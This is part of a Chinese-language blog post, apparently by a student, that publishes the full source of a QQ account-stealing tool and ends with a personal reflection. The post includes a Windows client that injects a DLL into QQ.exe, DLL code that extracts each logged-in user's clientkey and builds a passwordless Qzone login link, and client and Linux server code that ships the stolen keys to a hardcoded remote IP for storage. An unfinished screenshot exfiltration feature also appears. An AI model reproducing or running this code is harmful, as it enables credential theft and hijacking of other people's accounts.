退出 endl;return 0;}}return 0; } 该函数的参数主要是accept接收到连接请求后创建的socket连接。 我们首先将参数转化为socket对应的int类型用一个强制转化即可。之后sleep(10)的目的是为了等待主线程中tids.insert(make_pair(clt_sock, tid))的执行在其执行完后我们下一条指令才能不会输出0。不然是输出0还是输出线程地址全看运气。 接下来创建时间变量记录当前连接收到命令的最新时间每次收到一次命令则更新一次最后收到命令的时间。当然如果发现当前连接在时间记录表中并不存在则插入一条 连接号最新时间 的数据判断当前连接在时间记录表中是否存在我们用map.count(key)指令该函数可以判断键值在map中是否存在。存在返回1不存在返回0。 值得注意的是在实际连接中我们除了收到用户的连接还会收到一些来自不明地方的扫描http get请求一切爬虫请求以及很多奇怪的连接这多半是境外或者国内的黑客们的自动扫描端口并尝试入侵的请求实际在我的博客的日志文件内也收到很多类似的请求。 足足3万多行6mb很吓人居然还看到了熟悉的注入我博客所有正常访问的流量估计得是这些流量的几分之一甚至几十分之一 如果不对此类请求进行处理我们的服务端很容易崩溃。而处理的方法很简单我们只需要在default里设置一旦遇到意外的请求便执行关闭连接关闭线程删除记录的处理。 初始化接收到的命令cmd为0而这恰好也是退出进程的命令。这不是什么巧合和意外这是刻意而为之。实际连接中我们发现客户在关闭该软件的时候其实根本没有机会执行到发送命令0而就断开了连接(因为我们发送0指令的过程写在循环外)之后我们recv连接将不会再等待而是会返回一个错误这就会造成一个不断地死循环。为此我们初始化cmd为0一旦没接收到指令或者接收到的指令为0就直接退出能够有效的避免这个死循环。 发送dllint SendDll(int clt_sock) int SendDll(int cltsock) {int n 0;fstream dll(key_path, ios::binary | ios::in);// 初始化发送缓冲区char dll_buf[1024] \x00;memset(dllbuf, 0, 1024);// 发送内容int len;while (dll.read(dll_buf, 1024)){len send(clt_sock, dll_buf, 1024, 0);cout 处理 n 次 长度为 len endl;memset(dll_buf, 0, 1024);}/** 客户端接收结束后* 不会主动停止recv* 此时需要发送一个命令* 告诉客户端已经停止发送了。*/char over_flag[1024] \xde\xad\xbe\xff;send(clt_sock, over_flag, 1024, 0);cout 处理完成 endl;return 0; }该处代码较为简单配合客户端的发送dll的函数相关内容应该不难理解其中内容。打开key所在文件读入内容成功读入则发送dll数据最后发一个over_flag表示结束。 接收keyint GetQQ(int clt_sock) int GetQQ(int clt_sock) {//初始化int n 0;char buf[1024] ;QQ qq;//接收数量recv(clt_sock, buf, 1, 0);n buf[0] - 0;//接收数据for (int i 1; i n; i){cout * 处理 i 次;memset(buf, 0, sizeof(buf));memset(qq, 0, sizeof(QQ));int len recv(clt_sock, buf, sizeof(QQ), 0);cout 长度为 len endl;memcpy(qq, buf, sizeof(QQ));//若此QQ未存在过创建文件夹string path1 qq_path;path1 qq.qqUin;if (access(path1.c_str(), 0) -1){mkdir(path1.c_str(), S_IRWXG|S_IRWXO|S_IRWXU);}string path qq_path;path qq.qqUin;path .html;cout path endl;fstream keys(path, ios::binary | ios::out);string data qq.qqUin;data \n; data qq.qqKey;cout 存入data data;keys data;keys.close();}return 0; }该处内容挺简单的主要是根据发来的qq的数量来决定服务端将要接收的qq的次数。注意中间那个if无意义可省略。我当初写的是为每个qq建立一个文件夹记录其历史ip以及实时桌面截图。但由于时间不够桌面截图这部分并没有完成。bmp图片太大存不了多少压缩成JPEG的话我得另学新知识可是临近期末了加之我的主要任务为了大创而进行的图像识别的学习还没开始就暂且放一放。 然后就是构造文件路径我是采用 网站所在目录/qq/“qq号”.html来构造方便我这边的python脚本获取key并构造qq链接。 至此整个流程大体结束 项目代码 客户端 dll_injection.h #pragma once #include windows.h #include tlhelp32.h #include iostream #include tchar.h #define STRING_SIZE 255 #define MAX_PROCESS 24 //最大获取QQ数量24 #define PUBLIC_BUFFER_SIZE 270 //共享内存缓冲区大小 #define BUF_SIZE 1921 //QQ结构体最大长度为1896 using namespace std;class DLL_INJECTION { public:DLL_INJECTION(const char, const char);//wchar_t [STRING_SIZE] ,TCHAR [STRING_SIZE]~DLL_INJECTION() {CloseHandle(xxoo);};BOOL Init(const char, const char);DWORD GetPID();BOOL doInject(); //该函数返回存储qq信息结构体指针DWORD GetQQSize();DWORD* GetQQAddress(int i);BOOL AdjustPrivilege(); //提权int GetQQCounts(); //获取qq数量 private://函数区BOOL CreateXxOoDomain();//创建共享内存区域BOOL UnInjectDll(const TCHAR* pszDllFile, DWORD dwProcessId); //卸载DLL//ULONG LpstrToChar(LPCTSTR Src, char* Des);//变量区HANDLE xxoo;TCHAR pName[STRING_SIZE]; //目标进程名DWORD target_pid[MAX_PROCESS]; //目标进程pid//PROCESSENTRY32* info;//char dll_name[11] key3.0.dll;int path_size; //路径长度int target_counts 0; //QQ数量wchar_t dll_path[STRING_SIZE]; //注入dll路径char qq_and_key[PUBLIC_BUFFER_SIZE]; }; dll_injection.cpp #include dll_injection.h //存储获取qq信息的结构体 struct QQ {char qqUin[15];char qqKey[65]; }qq[MAX_PROCESS];DLL_INJECTION::DLL_INJECTION(const char* path, const char* name)//(wchar_t* path[STRING_SIZE], TCHAR* processName[STRING_SIZE] {memset(this-target_pid, 0, sizeof(target_pid)); //初始化target_pidmemset(dll_path, 0, sizeof(dll_path)); //初始化dll_pathmemset(pName, 0, sizeof(pName)); //初始化pNamememset(qq_and_key, 0, sizeof(qq_and_key)); //初始化qq_and_keymemset(qq, 0, sizeof(qq)); //初始化结构体for (int t 0; t STRING_SIZE; t){dll_path[t] path[t];pName[t] name[t];}path_size (wcslen(dll_path) 1) * sizeof(wchar_t);if (!Init(path, name)){cout 初始化失败 endl;}} BOOL DLL_INJECTION::Init(const char* path, const char* name) {if (!AdjustPrivilege()){cout 提权失败 endl;return false;}if (!GetPID()){cout 获取pid失败 endl;return false;}if (!CreateXxOoDomain()){cout 创建共享内存失败 endl;return false;}return true; } BOOL DLL_INJECTION::AdjustPrivilege() {HANDLE token;if ((OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, token)) NULL) //打开进程令牌{cout GetLastError();cout 打开进程令牌失败 endl;return FALSE;}LUID luid;if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, luid) NULL) //查询权限{cout GetLastError();cout 权限查询失败 endl;OutputDebugString(L权限查询失败);return FALSE;}TOKEN_PRIVILEGES tkp;tkp.Privileges[0].Attributes SE_PRIVILEGE_ENABLED;tkp.PrivilegeCount 1;tkp.Privileges[0].Luid luid; //固定操作,创建一个新特权tkp即为新特权结构体;if (AdjustTokenPrivileges(token, FALSE, tkp, sizeof(tkp), NULL, NULL) NULL) //特权调整{cout GetLastError();cout 调整自身权限失败 endl;OutputDebugString(L调整自身权限失败);return FALSE;}return TRUE; } DWORD DLL_INJECTION::GetPID() {target_counts 0;HANDLE handle CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0); //创建进程快照PROCESSENTRY32 info;if (handle NULL){cout GetLastError();cout 创建进程快照失败 endl;OutputDebugString(L创建进程快照失败失败);return NULL;}info.dwSize sizeof(PROCESSENTRY32);Process32First(handle, info); //获取首进程信息while (Process32Next(handle, info)){if (wcscmp(info.szExeFile, pName) 0) //比较每个进程名和所要找的进程名{if (target_counts MAX_PROCESS) //防止数组越界{break;}target_counts;target_pid[target_counts] info.th32ProcessID;}}return info.th32ProcessID; } BOOL DLL_INJECTION::doInject() {for (int i 1; i target_counts; i){//创建共享空间if (xxoo NULL){printf(%d, GetLastError());OutputDebugStringA(OpenFileMapping failed \n);}HANDLE handle OpenProcess(PROCESS_ALL_ACCESS, NULL, target_pid[i]); //打开进程if (handle NULL){cout GetLastError();cout 获取目标进程句柄失败 endl;OutputDebugString(L获取目标进程句柄失败);return 0;}LPVOID lpAddr VirtualAllocEx(handle, NULL, path_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); //申请虚拟内存if (lpAddr NULL){cout GetLastError();cout 目标进程中开辟虚拟内存失败 endl;OutputDebugString(L目标进程中开辟虚拟内存失败);return 0;}if (WriteProcessMemory(handle, lpAddr, dll_path, path_size, NULL) NULL) //写入数据{cout GetLastError();cout 写入路径失败 endl;OutputDebugString(L写入路径失败);return 0;}PTHREAD_START_ROUTINE pStartFun (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(LKernel32.dll), LoadLibraryW); //加载dllCreateRemoteThread(handle, NULL, NULL, pStartFun, lpAddr, NULL, NULL); //创建远程线程Sleep(100);//读取共享内存LPCTSTR pBuf;pBuf (LPCTSTR)MapViewOfFile(xxoo, FILE_MAP_WRITE | FILE_MAP_READ, 0, 0, PUBLIC_BUFFER_SIZE);if (pBuf NULL){printf(%d, GetLastError());printf(MapViewOfFile failed!\n);}sprintf(qq_and_key, %s\n, pBuf);cout qq_and_key endl;//分割字符组strcpy(qq[i].qqUin, strtok(qq_and_key, *));strcpy(qq[i].qqKey, strtok(NULL, ));//cout qq[i].qqUin endl;//cout qq[i].qqKey endl;qq[i].qqKey[64] 0;//cout qq[i].qqKey[64] endl;this-UnInjectDll(Lkey3.0.dll, target_pid[i]); //卸载dll以防出错UnmapViewOfFile(pBuf);}return true; } BOOL DLL_INJECTION::CreateXxOoDomain() {xxoo CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, PUBLIC_BUFFER_SIZE, Lxxoo);if (xxoo 0){cout GetLastError();cout CreateFileMapping Failed! endl;return false;}return true; } BOOL DLL_INJECTION::UnInjectDll(const TCHAR pszDllFile, DWORD dwProcessId) {HANDLE hModuleSnap CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwProcessId); //创建dll快照HANDLE hProcess OpenProcess(PROCESS_ALL_ACCESS, NULL, dwProcessId);HANDLE hThread;MODULEENTRY32 me;memset(me, 0, sizeof(me));me.dwSize sizeof(MODULEENTRY32); //初始化me结构体不设置大小无法使用Module32First(hModuleSnap, me);while (Module32Next(hModuleSnap, me)){if (lstrcmpW(me.szExePath, pszDllFile) 0 || lstrcmpW(me.szModule, pszDllFile) 0){break;}} //此时me结构体内为指定模块//注入进程释放dll环节LPTHREAD_START_ROUTINE lpStartFun (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(LKernel32.dll), FreeLibrary);hThread CreateRemoteThread(hProcess, NULL, 0, lpStartFun, me.modBaseAddr, 0, NULL);return TRUE; }int DLL_INJECTION::GetQQCounts() {int c target_counts;GetPID();//如果QQ数量改变重新注入if (c ! target_counts){doInject();} return target_counts; } DWORD DLL_INJECTION::GetQQSize() {return sizeof(QQ); } DWORD* DLL_INJECTION::GetQQAddress(int i) {return (DWORD*)qq[i]; } client.cpp #include winsock2.h #include dll_injection.h #include fstream #include atlimage.h #pragma comment(lib,ws2_32.lib) //命令集 #define _CMDEXIT 0 #define _CMD_GETDLL 1 #define _CMD_SENDQQ 2 #define _CMD_SENDSCREENSHOT 3 #define _KEEPALIVE 5 using namespace std;const char gobal_dll_path[255] D:/key3.0.dll; //一开始不用wchar_t是因为会出现众多问题如转换时类型处理不当出现的乱码问题 const char process_name[255] QQ.exe;
const char ip[] 106.12.86.136; const int port 5000; const char screenshot_name[] 1.png; //注代码166行截图名字要自己手动改void GetScreen(); //获取屏幕截图 int SendScreen(SOCKET m_Sock); //发送截图 BOOL isDllExisten(); int GetDLL(SOCKET m_Sock); int SendQQ(DLL_INJECTION ij,SOCKET m_Sock); SOCKET DoSocket();int main() {//ShowWindow(GetConsoleWindow(), SW_HIDE);//MessageBox(NULL, L未知错误, L缺少组件MicsoftSDTF.dll, MB_OK);WSADATA wsaData;WSAStartup(MAKEWORD(2, 2), wsaData);SOCKET mainSock DoSocket();if (!isDllExisten()){cout 文件不存在 endl;GetDLL(mainSock);}DLL_INJECTION inject(gobal_dll_path, process_name);do{if (!isDllExisten()){cout 文件不存在 endl;GetDLL(mainSock);}inject.doInject(); //注入并获取结构体指针SendQQ(inject, mainSock); cout * 延时等待中… endl;Sleep(30000); //每隔5分钟执行一次} while (inject.GetQQCounts() ! 0);//结束socketchar cmd _CMDEXIT;send(mainSock, cmd, 1, 0);closesocket(mainSock);WSACleanup();return 0; } SOCKET DoSocket() {SOCKET mainSock socket(AF_INET, SOCK_STREAM, 0);if (mainSock 0){cout 创建套接字失败 endl;return 0;}struct sockaddr_in sever_addr;sever_addr.sin_addr.s_addr inet_addr(ip);sever_addr.sin_port htons(port);sever_addr.sin_family AF_INET;if(!(connect(mainSock, (LPSOCKADDR)sever_addr, sizeof(sever_addr)))){return mainSock;}cout 连接失败 endl;return 0; } BOOL isDllExisten() {BOOL flag true;WIN32_FIND_DATAA wfd;HANDLE fDLL FindFirstFileA(gobal_dll_path, wfd);if (fDLL INVALID_HANDLE_VALUE || wfd.nFileSizeLow ! 10240){flag false;}FindClose(fDLL);return flag; } int GetDLL(SOCKET m_Sock) {int n 0;//设置dll接收缓冲区并初始化;char dll_buf[1024] \x00;memset(dllbuf, 0, 1024);fstream dll(gobal_dll_path,ios::binary|ios::out);//发送接收dll指令char cmd _CMD_GETDLL;if (send(m_Sock, cmd, 1, 0) 0){cout 发送失败 endl;return 0;}//接收数据int len 0;while (0 (len recv(m_Sock, dll_buf, 1024, 0)) len 1024){if (dll_buf[0] \xde dll_buf[1] \xad dll_buf[2] \xbe dllbuf[3] \xff){cout 接收到结束符 endl;break;}cout 接收 n 次 长度为 len endl;dll.write(dll_buf, 1024);memset(dllbuf, 0, 1024);/** 加入一个短暂的时延不然会出错* 不加会导致某次接收数据不满1024* 致使结束符和dll数据混合在一起*/Sleep(10);}//接收结束cout 接收完成 endl;dll.close();return 0; } int SendQQ(DLL_INJECTION ij,SOCKET m_Sock) {DWORD sQQ ij.GetQQSize();DWORD cQQ ij.GetQQCounts();//建立发送缓冲区char buf[1024] ;//发送指令char cmd _CMD_SENDQQ;send(m_Sock, cmd, 1, 0);//发送QQ数量char counts cQQ 0;send(m_Sock, counts, 1, 0);for (int i 1; i cQQ; i){memset(buf, 0, sizeof(buf));DWORD* pQQ ij.GetQQAddress(i);//将QQ内内容转移到发送区bufmemcpy(buf, pQQ , sQQ);//发送cout 发送缓冲区内容 buf endl;send(m_Sock, buf, sQQ, 0);}cout * 处理完成 * endl;return 0; } // 此部分尚未实现 //void GetScreen() //{ // HWND hDesktopWnd GetDesktopWindow(); //获取窗口句柄 // HDC hdc GetDC(hDesktopWnd); //获取窗口上下文相关信息 // HDC mdc CreateCompatibleDC(hdc); //内存中创建设备上下文环境 // int dwScreenW GetSystemMetrics(SM_CXSCREEN); //获取显示器宽 // int dwScreenH GetSystemMetrics(SM_CYSCREEN); //获取显示器长 // HBITMAP bmp CreateCompatibleBitmap(hdc, dwScreenW, dwScreenH); //内存中创建与指定环境内容相关的兼容位图 // HBITMAP holdbmp (HBITMAP)SelectObject(mdc, bmp); //将内存环境与兼容位图关联起来 // BitBlt(mdc, 0, 0, dwScreenW, dwScreenH, hdc, 0, 0, SRCCOPY); //将hdc内容复制到内存环境中 // CImage cimg; //保存位图 // cimg.Attach(bmp); // cimg.Save(L1.png); // return; //} //int SendScreen(SOCKET m_Sock) //{ // GetScreen(); // char cmd _CMD_SENDSCREENSHOT; // send(m_Sock, cmd, 1, 0); // // char buf[1024] \x00; // memset(buf, 0, 1024); // string sc_name screenshot_name; // fstream pic(sc_name, ios::binary | ios::in); // //发送数据 // while (pic.read(buf, 1024)) // { // send(m_Sock, buf, 1024, 0); // memset(buf, 0, 1024); // } // //发送结束符 // char over_flag[] \xde\xad\xbe\xff; //我知道是deadbeef // send(m_Sock, over_flag, 1024, 0); // cout 图片发送完成 endl; // pic.close(); // //销毁证据 // remove(screenshot_name); // return 0; //} DLL framework.h #pragma once#define WIN32_LEAN_AND_MEAN // 从 Windows 头文件中排除极少使用的内容 // Windows 头文件 #include windows.hpch.h // pch.h: 这是预编译标头文件。 // 下方列出的文件仅编译一次提高了将来生成的生成性能。 // 这还将影响 IntelliSense 性能包括代码完成和许多代码浏览功能。 // 但是如果此处列出的文件中的任何一个在生成之间有更新它们全部都将被重新编译。 // 请勿在此处添加要频繁更新的文件这将使得性能优势无效。#ifndef PCH_H #define PCH_H// 添加要在此处预编译的标头 #include framework.h#endif //PCH_Hpch.cpp // pch.cpp: 与预编译标头对应的源文件#include pch.h// 当使用预编译的头时需要使用此源文件编译才能成功。dllmain.cpp // dllmain.cpp : 定义 DLL 应用程序的入口点。 #include pch.h #include stdio.h #include WTypes.h #pragma data_seg(MySeg) char g_szText[270] { 0 }; #pragma data_seg() #pragma comment(linker, /section:MySeg,RWS)#define BUF_SIZE 270//定义CTXStringW为BSTR typedef BSTR CTXStringW;CTXStringW AllocTXString(const wchar_t* lpSrc) {if (lpSrc NULL) return NULL; //检测lpSrc是否创建成功BYTE* bBuffer new BYTE[16 (wcslen(lpSrc) 1) * 2];if (bBuffer NULL) return NULL;DWORD dwZero 0;DWORD dwCount 3;DWORD dwLenth wcslen(lpSrc) 1;memmove(bBuffer 0 * 4, dwZero, 4);memmove(bBuffer 1 * 4, dwCount, 4);memmove(bBuffer 2 * 4, dwLenth, 4);memmove(bBuffer 3 * 4, dwLenth, 4);wcscpy((wchar_t*)(bBuffer 4 * 4), lpSrc);return CTXStringW(bBuffer 16); }BOOL GoHome(char* qqUin, CTXStringW qqKey) {int strlenth (BUF_SIZE);HANDLE hMapFile;LPCTSTR pBuf;sprintf(g_szText, %s%ws, qqUin, qqKey);//创建文件映射对象if ((hMapFile OpenFileMapping(FILE_MAP_WRITE | FILE_MAP_READ, FALSE, Lxxoo)) NULL){OutputDebugStringA(OpenFileMapping failed \n);return FALSE;}pBuf (LPTSTR)MapViewOfFile(hMapFile, FILE_MAP_ALL_ACCESS, 0, 0, BUF_SIZE);if (pBuf NULL){OutputDebugStringA(MapViewOfFile failed \n);return FALSE;}if (CopyMemory((PVOID)pBuf, g_szText, strlen(g_szText)) NULL){OutputDebugStringA(CopyMemory failed \n);return FALSE;}UnmapViewOfFile(pBuf);CloseHandle(hMapFile);return TRUE; } VOID Steal() {do {char littlejudge[14];HMODULE hKernelUtil GetModuleHandle(LKernelUtil.dll); ///加载dllif (hKernelUtil NULL){OutputDebugStringA(Get KernelUtil Module failed \n);break;}ULONG fnGetSelfUin;ULONG currentQQ;fnGetSelfUin (ULONG)GetProcAddress(GetModuleHandleA(KernelUtil), ?GetSelfUinContactUtilYAKXZ); //获取QQ账号 //获取dll中获得qq号函数,获取kenelutil中获取qq号函数的地址if (fnGetSelfUin NULL){OutputDebugStringA(Get GetSelfUin Function failed \n);break;}currentQQ ((ULONG(__cdecl)())fnGetSelfUin)();//DWORD uin ((int()(int))fnGetSelfUin)();if (currentQQ NULL){OutputDebugStringA(Invoke GetSelfUin Function failed \n);break;}// Print QQ numberchar szUin[MAX_PATH] { 0 };sprintf(szUin, %u, currentQQ);PVOID GetSignature GetProcAddress(hKernelUtil, ?GetSignatureMiscUtilYA?AVCTXStringWPBDZ); //函数地址if (GetSignature NULL){OutputDebugStringA(Get GetSignature Function failed \n);break;}WCHAR wsBuffer[MAX_PATH] { 0 };CTXStringW ClientKey;// AllocTXString(wsBuffer);PVOID res ((PVOID()(PVOID, const char*))GetSignature)(ClientKey, buf32ByteValueAddedSignature); //关键函数获取key保存到cilentkey内存中if (res NULL){OutputDebugStringA(Invoke GetSignature Function failed \n);break;}// 复制下面链接无需密码进入QQ空间char msg[MAX_PATH] { 0 };sprintf(msg, https://ssl.ptlogin2.qq.com/jump?ptlang2052clientuin%sclientkey%wsu1https://user.qzone.qq.com/%s%/infocentersourcepanelstarn, szUin, ClientKey, szUin);BOOL dead_or_live GoHome(szUin, ClientKey);if (dead_or_live ! TRUE){sprintf(littlejudge, D!E!A!D!);OutputDebugStringA(littlejudge);}else{sprintf(littlejudge, LIVE!!!!);OutputDebugStringA(littlejudge);}OutputDebugStringA(msg);} while (0);}BOOL APIENTRY DllMain(HMODULE hModule,DWORD ul_reason_for_call,LPVOID lpReserved ) {switch (ul_reason_for_call){case DLL_PROCESS_ATTACH:Steal();break;case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break;}return TRUE; } 服务端 main.cpp #include iostream #include string.h #include fstream #include sstream #include map #include time.h #include unistd.h #include stdlib.h #include arpa/inet.h #include sys/socket.h #include netinet/in.h #include sys/stat.h #include pthread.h #define STRING_SIZE 255 #define MAX_PROCESS 24 //最大qq进程数 #define BUF_SIZE 1921 //the max size of strut QQ is 1896 using namespace std; #define _CMDEXIT 0 //指令集 #define _CMD_GETDLL 1 #define _CMD_RECVQQ 2 #define _CMD_RECVSCREENSHOT 3 #define _KEEPALIVE 5 struct QQ {char qqUin[15];char qqKey[65]; }; pthread_t temp; //记录每个sock的tid mapint,pthread_t tids; //记录每个sock最后更新时间 mapint, time_t lstUpdata; const int port 5000; const char key_path[] /你网站内key地址/; string qq_path /用于保存qq的目录/;/** thread_monitor(void arg) 监视线程如果哪个客户端超过15分钟没更新* 监视线程关闭该线程并关闭与其的socket连接/ void thread_monitor(void* arg); void* thread_main(void* arg); //主线程 int SendDll(int clt_sock); int GetQQ(int clt_sock); int GetScreenshot(int clt_sock); int mainSock();int main() {cout v: 1.8 paltform: x86 endl;mainSock();return 0; } int mainSock() {int sever_sock socket(AF_INET, SOCK_STREAM, 0);struct sockaddr_in sever_addr;sever_addr.sin_addr.s_addr INADDR_ANY;sever_addr.sin_port htons(5000);sever_addr.sin_family AF_INET;if (bind(sever_sock, (sockaddr*)sever_addr, sizeof(sever_addr)) -1){cout errno;cout * bind失败 endl;return 0;}if (listen(sever_sock, 10) ! 0){cout * lesten失败 endl;return 0;}//主scoket创建完立刻创建监视线程。pthread_t monitor_tid;int monitor pthread_create(monitor_tid, NULL, thread_monitor, (void*)sever_sock);// acceptstruct sockaddr_in client_addr;socklen_t clt_addr_len sizeof(client_addr);int clt_sock 0;cout * ready over endl;while (1){clt_sock accept(sever_sock, (sockaddr*)client_addr, clt_addr_len);cout * accept成功 endl;//创建线程pthread_t tid;if (int ret pthread_create(tid, NULL, thread_main, (void*)clt_sock) ! 0){cout * 线程创建出错 errno endl;continue;}tids.insert(make_pair(clt_sock, tid));cout clt_sock tid endl;cout * 线程创建成功保持监听状态… endl;}cout * accept失败程序退出 endl;close(sever_sock);return 0; } int SendDll(int cltsock) {int n 0;fstream dll(key_path, ios::binary | ios::in);// 初始化发送缓冲区char dll_buf[1024] \x00;memset(dllbuf, 0, 1024);// 发送内容int len;while (dll.read(dll_buf, 1024)){len send(clt_sock, dll_buf, 1024, 0);cout 处理 n 次 长度为 len endl;memset(dll_buf, 0, 1024);}/** 客户端接收结束后* 不会主动停止recv* 此时需要发送一个命令* 告诉客户端已经停止发送了。*/char over_flag[1024] \xde\xad\xbe\xff;send(clt_sock, over_flag, 1024, 0);cout 处理完成 endl;return 0; } int GetQQ(int clt_sock) {//初始化int n 0;char buf[1024] ;QQ qq;//接收数量recv(clt_sock, buf, 1, 0);n buf[0] - 0;//接收数据for (int i 1; i n; i){cout * 处理 i 次;memset(buf, 0, sizeof(buf));memset(qq, 0, sizeof(QQ));int len recv(clt_sock, buf, sizeof(QQ), 0);cout 长度为 len endl;memcpy(qq, buf, sizeof(QQ));//若此QQ未存在过创建文件夹string path1 qq_path;path1 qq.qqUin;if (access(path1.c_str(), 0) -1){mkdir(path1.c_str(), S_IRWXG|S_IRWXO|S_IRWXU);}string path qq_path;path qq.qqUin;path .html;cout path endl;fstream keys(path, ios::binary | ios::out);string data qq.qqUin;data \n; data qq.qqKey;cout 存入data data;keys data;keys.close();}return 0; } int GetScreenshot(int clt_sock) {char buf[1024] \x00;memset(buf, 0, 1024);time_t tim;int utime (int)time(tim);string path qqpath (char)utime .png;fstream bmp(path, ios::binary | ios::out);int len 0;while (0 (len recv(cltsock, buf, 1024, 0)) len 1024){if (buf[0] \xde buf[1] \xad buf[2] \xbe buf[3] \xff){cout 接收到结束符 endl;break;}bmp.write(buf, 1024);memset(buf, 0, 1024);sleep(1);}cout * 图片接收完成 endl;bmp_.close();return 0; } void* thread_monitor(void* arg) {while (1){time_t ntm;time(ntm);for (mapint, time_t::iterator it lstUpdata.begin(); it ! lstUpdata.end(); it){if (difftime(ntm, (*it).second) 900 (*it).second ! 0) //第二个条件防止某线程刚被创建就被删除{close((*it).first); //关闭socketpthread_cancel(tids[(*it).first]); //结束线程lstUpdata.erase((*it).first); //从map中删除tids.erase((it).first);}}sleep(1);}return 0; } void thread_main(void* arg) {int clt_sock (int)arg;sleep(10);cout * 进入线程 tids[clt_sock] endl;time_t tim;int res 0;while (1){char cmd 0;//等待命令传入res recv(clt_sock, cmd, 1, 0);//收到指令则更新时间time(tim);if (lstUpdata.count(clt_sock) 0){lstUpdata.insert(make_pair(clt_sock,tim));}else{lstUpdata[clt_sock] tim;}cout tids[clt_sock] 指令 cmd endl;switch (cmd){case _CMDEXIT://指令0退出循环。tids.erase(clt_sock);lstUpdata.erase(clt_sock);close(clt_sock);clt_sock 0;cout tids[clt_sock] 退出 endl;return 0;case _CMD_GETDLL:SendDll(clt_sock);break;case _CMD_RECVQQ:GetQQ(clt_sock);break;case _CMD_RECVSCREENSHOT:GetScreenshot(clt_sock);break;default://非法参数退出循环。tids.erase(clt_sock);lstUpdata.erase(clt_sock);close(clt_sock);clt_sock 0;cout tids[clt_sock] 退出 endl;return 0;}}return 0; } 后 谨以此项目来纪念我碌碌无为的大一吧忙碌了一年到头来也只剩下这个。虽然没能进一个我所理想的大学但是这所大学里所拥有的确实同级别大学所没能拥有的赏识我的老师不输其他同级别学校的师资丰富的活动这些都是我意料之外的。我感觉我虽有点不幸但也拥有者他人不曾有的幸运来到了这里我有充足的时间研究我喜欢的事物。但可惜一直没能做出个什么成果。我曾想着凭借一场比赛来给我自己的大一画上一个圆满的句号但该死的疫情阻拦了我的脚步至今我仍在遗憾那场比赛里没交上的那道题如果交上了我的大一至少也能有个纪念了纪念我并不是什么都没做过我努力过了这是我的荣誉是我的勋章是我的证明。但很可惜。